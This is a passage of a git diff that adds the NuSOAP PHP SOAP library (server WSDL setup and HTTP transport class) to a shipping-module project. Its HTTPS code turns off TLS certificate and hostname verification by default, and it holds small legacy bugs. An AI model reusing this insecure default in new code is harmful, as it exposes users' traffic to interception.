'http://schemas.xmlsoap.org/soap/encoding/'; + } + + $this->operations[$name] = array( + 'name' => $name, + 'in' => $in, + 'out' => $out, + 'namespace' => $namespace, + 'soapaction' => $soapaction, + 'style' => $style); + if($this->wsdl){ + $this->wsdl->addOperation($name,$in,$out,$namespace,$soapaction,$style,$use,$documentation,$encodingStyle); + } + return true; + } + + /** + * Specify a fault to be returned to the client. + * This also acts as a flag to the server that a fault has occurred. + * + * @param string $faultcode + * @param string $faultstring + * @param string $faultactor + * @param string $faultdetail + * @access public + */ + function fault($faultcode,$faultstring,$faultactor='',$faultdetail=''){ + if ($faultdetail == '' && $this->debug_flag) { + $faultdetail = $this->getDebug(); + } + $this->fault = new nusoap_fault($faultcode,$faultactor,$faultstring,$faultdetail); + $this->fault->soap_defencoding = $this->soap_defencoding; + } + + /** + * Sets up wsdl object. + * Acts as a flag to enable internal WSDL generation + * + * @param string $serviceName, name of the service + * @param mixed $namespace optional 'tns' service namespace or false + * @param mixed $endpoint optional URL of service endpoint or false + * @param string $style optional (rpc|document) WSDL style (also specified by operation) + * @param string $transport optional SOAP transport + * @param mixed $schemaTargetNamespace optional 'types' targetNamespace for service schema or false + */ + function configureWSDL($serviceName,$namespace = false,$endpoint = false,$style='rpc', $transport = 'http://schemas.xmlsoap.org/soap/http', $schemaTargetNamespace = false) + { + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $SERVER_NAME = $_SERVER['SERVER_NAME']; + $SERVER_PORT = $_SERVER['SERVER_PORT']; + $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; + $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); + } elseif (isset($HTTP_SERVER_VARS)) { + $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; + $SERVER_PORT = $HTTP_SERVER_VARS['SERVER_PORT']; + $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; + $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + // If server name has port number attached then strip it (else port number gets duplicated in WSDL output) (occurred using lighttpd and FastCGI) + $colon = strpos($SERVER_NAME,":"); + if ($colon) { + $SERVER_NAME = substr($SERVER_NAME, 0, $colon); + } + if ($SERVER_PORT == 80) { + $SERVER_PORT = ''; + } else { + $SERVER_PORT = ':' . $SERVER_PORT; + } + if(false == $namespace) { + $namespace = "http://$SERVER_NAME/soap/$serviceName"; + } + + if(false == $endpoint) { + if ($HTTPS == '1' || $HTTPS == 'on') { + $SCHEME = 'https'; + } else { + $SCHEME = 'http'; + } + $endpoint = "$SCHEME://$SERVER_NAME$SERVER_PORT$SCRIPT_NAME"; + } + + if(false == $schemaTargetNamespace) { + $schemaTargetNamespace = $namespace; + } + + $this->wsdl = new wsdl; + $this->wsdl->serviceName = $serviceName; + $this->wsdl->endpoint = $endpoint; + $this->wsdl->namespaces['tns'] = $namespace; + $this->wsdl->namespaces['soap'] = 'http://schemas.xmlsoap.org/wsdl/soap/'; + $this->wsdl->namespaces['wsdl'] = 'http://schemas.xmlsoap.org/wsdl/'; + if ($schemaTargetNamespace != $namespace) { + $this->wsdl->namespaces['types'] = $schemaTargetNamespace; + } + $this->wsdl->schemas[$schemaTargetNamespace][0] = new nusoap_xmlschema('', '', $this->wsdl->namespaces); + if ($style == 'document') { + $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaInfo['elementFormDefault'] = 'qualified'; + } + $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaTargetNamespace = $schemaTargetNamespace; + $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/soap/encoding/'][0] = array('location' => '', 'loaded' => true); + $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/wsdl/'][0] = array('location' => '', 'loaded' => true); + $this->wsdl->bindings[$serviceName.'Binding'] = array( + 'name'=>$serviceName.'Binding', + 'style'=>$style, + 'transport'=>$transport, + 'portType'=>$serviceName.'PortType'); + $this->wsdl->ports[$serviceName.'Port'] = array( + 'binding'=>$serviceName.'Binding', + 'location'=>$endpoint, + 'bindingType'=>'http://schemas.xmlsoap.org/wsdl/soap/'); + } +} + +/** + * Backward compatibility + */ +class soap_server extends nusoap_server { +} + + diff --git a/modules/mondialrelay/lib/nusoap/class.soap_transport_http.php b/modules/mondialrelay/lib/nusoap/class.soap_transport_http.php new file mode 100755 index 0000000..1c64d74 --- /dev/null +++ b/modules/mondialrelay/lib/nusoap/class.soap_transport_http.php @@ -0,0 +1,1306 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class soap_transport_http extends nusoap_base { + + var $url = ''; + var $uri = ''; + var $digest_uri = ''; + var $scheme = ''; + var $host = ''; + var $port = ''; + var $path = ''; + var $request_method = 'POST'; + var $protocol_version = '1.0'; + var $encoding = ''; + var $outgoing_headers = array(); + var $incoming_headers = array(); + var $incoming_cookies = array(); + var $outgoing_payload = ''; + var $incoming_payload = ''; + var $response_status_line; // HTTP response status line + var $useSOAPAction = true; + var $persistentConnection = false; + var $ch = false; // cURL handle + var $ch_options = array(); // cURL custom options + var $use_curl = false; // force cURL use + var $proxy = null; // proxy information (associative array) + var $username = ''; + var $password = ''; + var $authtype = ''; + var $digestRequest = array(); + var $certRequest = array(); // keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional) + // cainfofile: certificate authority file, e.g. '$pathToPemFiles/rootca.pem' + // sslcertfile: SSL certificate file, e.g. '$pathToPemFiles/mycert.pem' + // sslkeyfile: SSL key file, e.g. '$pathToPemFiles/mykey.pem' + // passphrase: SSL key password/passphrase + // certpassword: SSL certificate password + // verifypeer: default is 1 + // verifyhost: default is 1 + + /** + * constructor + * + * @param string $url The URL to which to connect + * @param array $curl_options User-specified cURL options + * @param boolean $use_curl Whether to try to force cURL use + * @access public + */ + function soap_transport_http($url, $curl_options = NULL, $use_curl = false){ + parent::nusoap_base(); + $this->debug("ctor url=$url use_curl=$use_curl curl_options:"); + $this->appendDebug($this->varDump($curl_options)); + $this->setURL($url); + if (is_array($curl_options)) { + $this->ch_options = $curl_options; + } + $this->use_curl = $use_curl; + preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); + $this->setHeader('User-Agent', $this->title.'/'.$this->version.' ('.$rev[1].')'); + } + + /** + * sets a cURL option + * + * @param mixed $option The cURL option (always integer?) + * @param mixed $value The cURL option value + * @access private + */ + function setCurlOption($option, $value) { + $this->debug("setCurlOption option=$option, value="); + $this->appendDebug($this->varDump($value)); + curl_setopt($this->ch, $option, $value); + } + + /** + * sets an HTTP header + * + * @param string $name The name of the header + * @param string $value The value of the header + * @access private + */ + function setHeader($name, $value) { + $this->outgoing_headers[$name] = $value; + $this->debug("set header $name: $value"); + } + + /** + * unsets an HTTP header + * + * @param string $name The name of the header + * @access private + */ + function unsetHeader($name) { + if (isset($this->outgoing_headers[$name])) { + $this->debug("unset header $name"); + unset($this->outgoing_headers[$name]); + } + } + + /** + * sets the URL to which to connect + * + * @param string $url The URL to which to connect + * @access private + */ + function setURL($url) { + $this->url = $url; + + $u = parse_url($url); + foreach($u as $k => $v){ + $this->debug("parsed URL $k = $v"); + $this->$k = $v; + } + + // add any GET params to path + if(isset($u['query']) && $u['query'] != ''){ + $this->path .= '?' . $u['query']; + } + + // set default port + if(!isset($u['port'])){ + if($u['scheme'] == 'https'){ + $this->port = 443; + } else { + $this->port = 80; + } + } + + $this->uri = $this->path; + $this->digest_uri = $this->uri; + + // build headers + if (!isset($u['port'])) { + $this->setHeader('Host', $this->host); + } else { + $this->setHeader('Host', $this->host.':'.$this->port); + } + + if (isset($u['user']) && $u['user'] != '') { + $this->setCredentials(urldecode($u['user']), isset($u['pass']) ? urldecode($u['pass']) : ''); + } + } + + /** + * gets the I/O method to use + * + * @return string I/O method to use (socket|curl|unknown) + * @access private + */ + function io_method() { + if ($this->use_curl || ($this->scheme == 'https') || ($this->scheme == 'http' && $this->authtype == 'ntlm') || ($this->scheme == 'http' && is_array($this->proxy) && $this->proxy['authtype'] == 'ntlm')) + return 'curl'; + if (($this->scheme == 'http' || $this->scheme == 'ssl') && $this->authtype != 'ntlm' && (!is_array($this->proxy) || $this->proxy['authtype'] != 'ntlm')) + return 'socket'; + return 'unknown'; + } + + /** + * establish an HTTP connection + * + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @return boolean true if connected, false if not + * @access private + */ + function connect($connection_timeout=0,$response_timeout=30){ + // For PHP 4.3 with OpenSSL, change https scheme to ssl, then treat like + // "regular" socket. + // TODO: disabled for now because OpenSSL must be *compiled* in (not just + // loaded), and until PHP5 stream_get_wrappers is not available. +// if ($this->scheme == 'https') { +// if (version_compare(phpversion(), '4.3.0') >= 0) { +// if (extension_loaded('openssl')) { +// $this->scheme = 'ssl'; +// $this->debug('Using SSL over OpenSSL'); +// } +// } +// } + $this->debug("connect connection_timeout $connection_timeout, response_timeout $response_timeout, scheme $this->scheme, host $this->host, port $this->port"); + if ($this->io_method() == 'socket') { + if (!is_array($this->proxy)) { + $host = $this->host; + $port = $this->port; + } else { + $host = $this->proxy['host']; + $port = $this->proxy['port']; + } + + // use persistent connection + if($this->persistentConnection && isset($this->fp) && is_resource($this->fp)){ + if (!feof($this->fp)) { + $this->debug('Re-use persistent connection'); + return true; + } + fclose($this->fp); + $this->debug('Closed persistent connection at EOF'); + } + + // munge host if using OpenSSL + if ($this->scheme == 'ssl') { + $host = 'ssl://' . $host; + } + $this->debug('calling fsockopen with host ' . $host . ' connection_timeout ' . $connection_timeout); + + // open socket + if($connection_timeout > 0){ + $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str, $connection_timeout); + } else { + $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str); + } + + // test pointer + if(!$this->fp) { + $msg = 'Couldn\'t open socket connection to server ' . $this->url; + if ($this->errno) { + $msg .= ', Error ('.$this->errno.'): '.$this->error_str; + } else { + $msg .= ' prior to connect(). This is often a problem looking up the host name.'; + } + $this->debug($msg); + $this->setError($msg); + return false; + } + + // set response timeout + $this->debug('set response timeout to ' . $response_timeout); + socket_set_timeout( $this->fp, $response_timeout); + + $this->debug('socket connected'); + return true; + } else if ($this->io_method() == 'curl') { + if (!extension_loaded('curl')) { +// $this->setError('cURL Extension, or OpenSSL extension w/ PHP version >= 4.3 is required for HTTPS'); + $this->setError('The PHP cURL Extension is required for HTTPS or NLTM. You will need to re-build or update your PHP to include cURL or change php.ini to load the PHP cURL extension.'); + return false; + } + // Avoid warnings when PHP does not have these options + if (defined('CURLOPT_CONNECTIONTIMEOUT')) + $CURLOPT_CONNECTIONTIMEOUT = CURLOPT_CONNECTIONTIMEOUT; + else + $CURLOPT_CONNECTIONTIMEOUT = 78; + if (defined('CURLOPT_HTTPAUTH')) + $CURLOPT_HTTPAUTH = CURLOPT_HTTPAUTH; + else + $CURLOPT_HTTPAUTH = 107; + if (defined('CURLOPT_PROXYAUTH')) + $CURLOPT_PROXYAUTH = CURLOPT_PROXYAUTH; + else + $CURLOPT_PROXYAUTH = 111; + if (defined('CURLAUTH_BASIC')) + $CURLAUTH_BASIC = CURLAUTH_BASIC; + else + $CURLAUTH_BASIC = 1; + if (defined('CURLAUTH_DIGEST')) + $CURLAUTH_DIGEST = CURLAUTH_DIGEST; + else + $CURLAUTH_DIGEST = 2; + if (defined('CURLAUTH_NTLM')) + $CURLAUTH_NTLM = CURLAUTH_NTLM; + else + $CURLAUTH_NTLM = 8; + + $this->debug('connect using cURL'); + // init CURL + $this->ch = curl_init(); + // set url + $hostURL = ($this->port != '') ? "$this->scheme://$this->host:$this->port" : "$this->scheme://$this->host"; + // add path + $hostURL .= $this->path; + $this->setCurlOption(CURLOPT_URL, $hostURL); + // follow location headers (re-directs) + if (ini_get('safe_mode') || ini_get('open_basedir')) { + $this->debug('safe_mode or open_basedir set, so do not set CURLOPT_FOLLOWLOCATION'); + $this->debug('safe_mode = '); + $this->appendDebug($this->varDump(ini_get('safe_mode'))); + $this->debug('open_basedir = '); + $this->appendDebug($this->varDump(ini_get('open_basedir'))); + } else { + $this->setCurlOption(CURLOPT_FOLLOWLOCATION, 1); + } + // ask for headers in the response output + $this->setCurlOption(CURLOPT_HEADER, 1); + // ask for the response output as the return value + $this->setCurlOption(CURLOPT_RETURNTRANSFER, 1); + // encode + // We manage this ourselves through headers and encoding +// if(function_exists('gzuncompress')){ +// $this->setCurlOption(CURLOPT_ENCODING, 'deflate'); +// } + // persistent connection + if ($this->persistentConnection) { + // I believe the following comment is now bogus, having applied to + // the code when it used CURLOPT_CUSTOMREQUEST to send the request. + // The way we send data, we cannot use persistent connections, since + // there will be some "junk" at the end of our request. + //$this->setCurlOption(CURL_HTTP_VERSION_1_1, true); + $this->persistentConnection = false; + $this->setHeader('Connection', 'close'); + } + // set timeouts + if ($connection_timeout != 0) { + $this->setCurlOption($CURLOPT_CONNECTIONTIMEOUT, $connection_timeout); + } + if ($response_timeout != 0) { + $this->setCurlOption(CURLOPT_TIMEOUT, $response_timeout); + } + + if ($this->scheme == 'https') { + $this->debug('set cURL SSL verify options'); + // recent versions of cURL turn on peer/host checking by default, + // while PHP binaries are not compiled with a default location for the + // CA cert bundle, so disable peer/host checking. + //$this->setCurlOption(CURLOPT_CAINFO, 'f:\php-4.3.2-win32\extensions\curl-ca-bundle.crt'); + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 0); + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 0); + + // support client certificates (thanks Tobias Boes, Doug Anarino, Eryan Ariobowo) + if ($this->authtype == 'certificate') { + $this->debug('set cURL certificate options'); + if (isset($this->certRequest['cainfofile'])) { + $this->setCurlOption(CURLOPT_CAINFO, $this->certRequest['cainfofile']); + } + if (isset($this->certRequest['verifypeer'])) { + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, $this->certRequest['verifypeer']); + } else { + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 1); + } + if (isset($this->certRequest['verifyhost'])) { + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, $this->certRequest['verifyhost']); + } else { + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 1); + } + if (isset($this->certRequest['sslcertfile'])) { + $this->setCurlOption(CURLOPT_SSLCERT, $this->certRequest['sslcertfile']); + } + if (isset($this->certRequest['sslkeyfile'])) { + $this->setCurlOption(CURLOPT_SSLKEY, $this->certRequest['sslkeyfile']); + } + if (isset($this->certRequest['passphrase'])) { + $this->setCurlOption(CURLOPT_SSLKEYPASSWD, $this->certRequest['passphrase']); + } + if (isset($this->certRequest['certpassword'])) { + $this->setCurlOption(CURLOPT_SSLCERTPASSWD, $this->certRequest['certpassword']); + } + } + } + if ($this->authtype && ($this->authtype != 'certificate')) { + if ($this->username) { + $this->debug('set cURL username/password'); + $this->setCurlOption(CURLOPT_USERPWD, "$this->username:$this->password"); + } + if ($this->authtype == 'basic') { + $this->debug('set cURL for Basic authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_BASIC); + } + if ($this->authtype == 'digest') { + $this->debug('set cURL for digest authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_DIGEST); + } + if ($this->authtype == 'ntlm') { + $this->debug('set cURL for NTLM authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_NTLM); + } + } + if (is_array($this->proxy)) { + $this->debug('set cURL proxy options'); + if ($this->proxy['port'] != '') { + $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host'].':'.$this->proxy['port']); + } else { + $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host']); + } + if ($this->proxy['username'] || $this->proxy['password']) { + $this->debug('set cURL proxy authentication options'); + $this->setCurlOption(CURLOPT_PROXYUSERPWD, $this->proxy['username'].':'.$this->proxy['password']); + if ($this->proxy['authtype'] == 'basic') { + $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_BASIC); + } + if ($this->proxy['authtype'] == 'ntlm') { + $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_NTLM); + } + } + } + $this->debug('cURL connection set up'); + return true; + } else { + $this->setError('Unknown scheme ' . $this->scheme); + $this->debug('Unknown scheme ' . $this->scheme); + return false; + } + } + + /** + * sends the SOAP request and gets the SOAP response via HTTP[S] + * + * @param string $data message data + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @param array $cookies cookies to send + * @return string data + * @access public + */ + function send($data, $timeout=0, $response_timeout=30, $cookies=NULL) { + + $this->debug('entered send() with data of length: '.strlen($data)); + + $this->tryagain = true; + $tries = 0; + while ($this->tryagain) { + $this->tryagain = false; + if ($tries++ < 2) { + // make connnection + if (!$this->connect($timeout, $response_timeout)){ + return false; + } + + // send request + if (!$this->sendRequest($data, $cookies)){ + return false; + } + + // get response + $respdata = $this->getResponse(); + } else { + $this->setError("Too many tries to get an OK response ($this->response_status_line)"); + } + } + $this->debug('end of send()'); + return $respdata; + } + + + /** + * sends the SOAP request and gets the SOAP response via HTTPS using CURL + * + * @param string $data message data + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @param array $cookies cookies to send + * @return string data + * @access public + * @deprecated + */ + function sendHTTPS($data, $timeout=0, $response_timeout=30, $cookies) { + return $this->send($data, $timeout, $response_timeout, $cookies); + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $digestRequest (keys must be nonce, nc, realm, qop) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $digestRequest = array(), $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype digestRequest="); + $this->appendDebug($this->varDump($digestRequest)); + $this->debug("certRequest="); + $this->appendDebug($this->varDump($certRequest)); + // cf. RFC 2617 + if ($authtype == 'basic') { + $this->setHeader('Authorization', 'Basic '.base64_encode(str_replace(':','',$username).':'.$password)); + } elseif ($authtype == 'digest') { + if (isset($digestRequest['nonce'])) { + $digestRequest['nc'] = isset($digestRequest['nc']) ? $digestRequest['nc']++ : 1; + + // calculate the Digest hashes (calculate code based on digest implementation found at: http://www.rassoc.com/gregr/weblog/stories/2002/07/09/webServicesSecurityHttpDigestAuthenticationWithoutActiveDirectory.html) + + // A1 = unq(username-value) ":" unq(realm-value) ":" passwd + $A1 = $username. ':' . (isset($digestRequest['realm']) ? $digestRequest['realm'] : '') . ':' . $password; + + // H(A1) = MD5(A1) + $HA1 = md5($A1); + + // A2 = Method ":" digest-uri-value + $A2 = $this->request_method . ':' . $this->digest_uri; + + // H(A2) + $HA2 = md5($A2); + + // KD(secret, data) = H(concat(secret, ":", data)) + // if qop == auth: + // request-digest = <"> < KD ( H(A1), unq(nonce-value) + // ":" nc-value + // ":" unq(cnonce-value) + // ":" unq(qop-value) + // ":" H(A2) + // ) <"> + // if qop is missing, + // request-digest = <"> < KD ( H(A1), unq(nonce-value) ":" H(A2) ) > <"> + + $unhashedDigest = ''; + $nonce = isset($digestRequest['nonce']) ? $digestRequest['nonce'] : ''; + $cnonce = $nonce; + if ($digestRequest['qop'] != '') { + $unhashedDigest = $HA1 . ':' . $nonce . ':' . sprintf("%08d", $digestRequest['nc']) . ':' . $cnonce . ':' . $digestRequest['qop'] . ':' . $HA2; + } else { + $unhashedDigest = $HA1 . ':' . $nonce . ':' . $HA2; + } + + $hashedDigest = md5($unhashedDigest); + + $opaque = ''; + if (isset($digestRequest['opaque'])) { + $opaque = ', opaque="' . $digestRequest['opaque'] . '"'; + } + + $this->setHeader('Authorization', 'Digest username="' . $username . '", realm="' . $digestRequest['realm'] . '", nonce="' . $nonce . '", uri="' . $this->digest_uri . $opaque . '", cnonce="' . $cnonce . '", nc=' . sprintf("%08x", $digestRequest['nc']) . ', qop="' . $digestRequest['qop'] . '", response="' . $hashedDigest . '"'); + } + } elseif ($authtype == 'certificate') { + $this->certRequest = $certRequest; + $this->debug('Authorization header not set for certificate'); + } elseif ($authtype == 'ntlm') { + // do nothing + $this->debug('Authorization header not set for ntlm'); + } + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->digestRequest = $digestRequest; + } + + /** + * set the soapaction value + * + * @param string $soapaction + * @access public + */ + function setSOAPAction($soapaction) { + $this->setHeader('SOAPAction', '"' . $soapaction . '"'); + } + + /** + * use http encoding + * + * @param string $enc encoding style. supported values: gzip, deflate, or both + * @access public + */ + function setEncoding($enc='gzip, deflate') { + if (function_exists('gzdeflate')) { + $this->protocol_version = '1.1'; + $this->setHeader('Accept-Encoding', $enc); + if (!isset($this->outgoing_headers['Connection'])) { + $this->setHeader('Connection', 'close'); + $this->persistentConnection = false; + } + // deprecated as of PHP 5.3.0 + //set_magic_quotes_runtime(0); + $this->encoding = $enc; + } + } + + /** + * set proxy info here + * + * @param string $proxyhost use an empty string to remove proxy + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @param string $proxyauthtype (basic|ntlm) + * @access public + */ + function setProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '', $proxyauthtype = 'basic') { + if ($proxyhost) { + $this->proxy = array( + 'host' => $proxyhost, + 'port' => $proxyport, + 'username' => $proxyusername, + 'password' => $proxypassword, + 'authtype' => $proxyauthtype + ); + if ($proxyusername != '' && $proxypassword != '' && $proxyauthtype = 'basic') { + $this->setHeader('Proxy-Authorization', ' Basic '.base64_encode($proxyusername.':'.$proxypassword)); + } + } else { + $this->debug('remove proxy'); + $proxy = null; + unsetHeader('Proxy-Authorization'); + } + } + + + /** + * Test if the given string starts with a header that is to be skipped. + * Skippable headers result from chunked transfer and proxy requests. + * + * @param string $data The string to check. + * @returns boolean Whether a skippable header was found. + * @access private + */ + function isSkippableCurlHeader(&$data) { + $skipHeaders = array( 'HTTP/1.1 100', + 'HTTP/1.0 301', + 'HTTP/1.1 301', + 'HTTP/1.0 302', + 'HTTP/1.1 302', + 'HTTP/1.0 401', + 'HTTP/1.1 401', + 'HTTP/1.0 200 Connection established'); + foreach ($skipHeaders as $hd) { + $prefix = substr($data, 0, strlen($hd)); + if ($prefix == $hd) return true; + } + + return false; + } + + /** + * decode a string that is encoded w/ "chunked' transfer encoding + * as defined in RFC2068 19.4.6 + * + * @param string $buffer + * @param string $lb + * @returns string + * @access public + * @deprecated + */ + function decodeChunked($buffer, $lb){ + // length := 0 + $length = 0; + $new = ''; + + // read chunk-size, chunk-extension (if any) and CRLF + // get the position of the linebreak + $chunkend = strpos($buffer, $lb); + if ($chunkend == FALSE) { + $this->debug('no linebreak found in decodeChunked'); + return $new; + } + $temp = substr($buffer,0,$chunkend); + $chunk_size = hexdec( trim($temp) ); + $chunkstart = $chunkend + strlen($lb); + // while (chunk-size > 0) { + while ($chunk_size > 0) { + $this->debug("chunkstart: $chunkstart chunk_size: $chunk_size"); + $chunkend = strpos( $buffer, $lb, $chunkstart + $chunk_size); + + // Just in case we got a broken connection + if ($chunkend == FALSE) { + $chunk = substr($buffer,$chunkstart); + // append chunk-data to entity-body + $new .= $chunk; + $length += strlen($chunk); + break; + } + + // read chunk-data and CRLF + $chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart); + // append chunk-data to entity-body + $new .= $chunk; + // length := length + chunk-size + $length += strlen($chunk); + // read chunk-size and CRLF + $chunkstart = $chunkend + strlen($lb); + + $chunkend = strpos($buffer, $lb, $chunkstart) + strlen($lb); + if ($chunkend == FALSE) { + break; //Just in case we got a broken connection + } + $temp = substr($buffer,$chunkstart,$chunkend-$chunkstart); + $chunk_size = hexdec( trim($temp) ); + $chunkstart = $chunkend; + } + return $new; + } + + /** + * Writes the payload, including HTTP headers, to $this->outgoing_payload. + * + * @param string $data HTTP body + * @param string $cookie_str data for HTTP Cookie header + * @return void + * @access private + */ + function buildPayload($data, $cookie_str = '') { + // Note: for cURL connections, $this->outgoing_payload is ignored, + // as is the Content-Length header, but these are still created as + // debugging guides. + + // add content-length header + if ($this->request_method != 'GET') { + $this->setHeader('Content-Length', strlen($data)); + } + + // start building outgoing payload: + if ($this->proxy) { + $uri = $this->url; + } else { + $uri = $this->uri; + } + $req = "$this->request_method $uri HTTP/$this->protocol_version"; + $this->debug("HTTP request: $req"); + $this->outgoing_payload = "$req\r\n"; + + // loop thru headers, serializing + foreach($this->outgoing_headers as $k => $v){ + $hdr = $k.': '.$v; + $this->debug("HTTP header: $hdr"); + $this->outgoing_payload .= "$hdr\r\n"; + } + + // add any cookies + if ($cookie_str != '') { + $hdr = 'Cookie: '.$cookie_str; + $this->debug("HTTP header: $hdr"); + $this->outgoing_payload .= "$hdr\r\n"; + } + + // header/body separator + $this->outgoing_payload .= "\r\n"; + + // add data + $this->outgoing_payload .= $data; + } + + /** + * sends the SOAP request via HTTP[S] + * + * @param string $data message data + * @param array $cookies cookies to send + * @return boolean true if OK, false if problem + * @access private + */ + function sendRequest($data, $cookies = NULL) { + // build cookie string + $cookie_str = $this->getCookiesForRequest($cookies, (($this->scheme == 'ssl') || ($this->scheme == 'https'))); + + // build payload + $this->buildPayload($data, $cookie_str); + + if ($this->io_method() == 'socket') { + // send payload + if(!fputs($this->fp, $this->outgoing_payload, strlen($this->outgoing_payload))) { + $this->setError('couldn\'t write message data to socket'); + $this->debug('couldn\'t write message data to socket'); + return false; + } + $this->debug('wrote data to socket, length = ' . strlen($this->outgoing_payload)); + return true; + } else if ($this->io_method() == 'curl') { + // set payload + // cURL does say this should only be the verb, and in fact it + // turns out that the URI and HTTP version are appended to this, which + // some servers refuse to work with (so we no longer use this method!) + //$this->setCurlOption(CURLOPT_CUSTOMREQUEST, $this->outgoing_payload); + $curl_headers = array(); + foreach($this->outgoing_headers as $k => $v){ + if ($k == 'Connection' || $k == 'Content-Length' || $k == 'Host' || $k == 'Authorization' || $k == 'Proxy-Authorization') { + $this->debug("Skip cURL header $k: $v"); + } else { + $curl_headers[] = "$k: $v"; + } + } + if ($cookie_str != '') { + $curl_headers[] = 'Cookie: ' . $cookie_str; + } + $this->setCurlOption(CURLOPT_HTTPHEADER, $curl_headers); + $this->debug('set cURL HTTP headers'); + if ($this->request_method == "POST") { + $this->setCurlOption(CURLOPT_POST, 1); + $this->setCurlOption(CURLOPT_POSTFIELDS, $data); + $this->debug('set cURL POST data'); + } else { + } + // insert custom user-set cURL options + foreach ($this->ch_options as $key => $val) { + $this->setCurlOption($key, $val); + } + + $this->debug('set cURL payload'); + return true; + } + } + + /** + * gets the SOAP response via HTTP[S] + * + * @return string the response (also sets member variables like incoming_payload) + * @access private + */ + function getResponse(){ + $this->incoming_payload = ''; + + if ($this->io_method() == 'socket') { + // loop until headers have been retrieved + $data = ''; + while (!isset($lb)){ + + // We might EOF during header read. + if(feof($this->fp)) { + $this->incoming_payload = $data; + $this->debug('found no headers before EOF after length ' . strlen($data)); + $this->debug("received before EOF:\n" . $data); + $this->setError('server failed to send headers'); + return false; + } + + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read line of $tmplen bytes: " . trim($tmp)); + + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of headers timed out after length ' . strlen($data)); + $this->debug("read before timeout: " . $data); + $this->setError('socket read of headers timed out'); + return false; + } + + $data .= $tmp; + $pos = strpos($data,"\r\n\r\n"); + if($pos > 1){ + $lb = "\r\n"; + } else { + $pos = strpos($data,"\n\n"); + if($pos > 1){ + $lb = "\n"; + } + } + // remove 100 headers + if (isset($lb) && preg_match('/^HTTP\/1.1 100/',$data)) { + unset($lb); + $data = ''; + }// + } + // store header data + $this->incoming_payload .= $data; + $this->debug('found end of headers after length ' . strlen($data)); + // process headers + $header_data = trim(substr($data,0,$pos)); + $header_array = explode($lb,$header_data); + $this->incoming_headers = array(); + $this->incoming_cookies = array(); + foreach($header_array as $header_line){ + $arr = explode(':',$header_line, 2); + if(count($arr) > 1){ + $header_name = strtolower(trim($arr[0])); + $this->incoming_headers[$header_name] = trim($arr[1]); + if ($header_name == 'set-cookie') { + // TODO: allow multiple cookies from parseCookie + $cookie = $this->parseCookie(trim($arr[1])); + if ($cookie) { + $this->incoming_cookies[] = $cookie; + $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); + } else { + $this->debug('did not find cookie in ' . trim($arr[1])); + } + } + } else if (isset($header_name)) { + // append continuation line to previous header + $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; + } + } + + // loop until msg has been received + if (isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked') { + $content_length = 2147483647; // ignore any content-length header + $chunked = true; + $this->debug("want to read chunked content"); + } elseif (isset($this->incoming_headers['content-length'])) { + $content_length = $this->incoming_headers['content-length']; + $chunked = false; + $this->debug("want to read content of length $content_length"); + } else { + $content_length = 2147483647; + $chunked = false; + $this->debug("want to read content to EOF"); + } + $data = ''; + do { + if ($chunked) { + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read chunk line of $tmplen bytes"); + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of chunk length timed out after length ' . 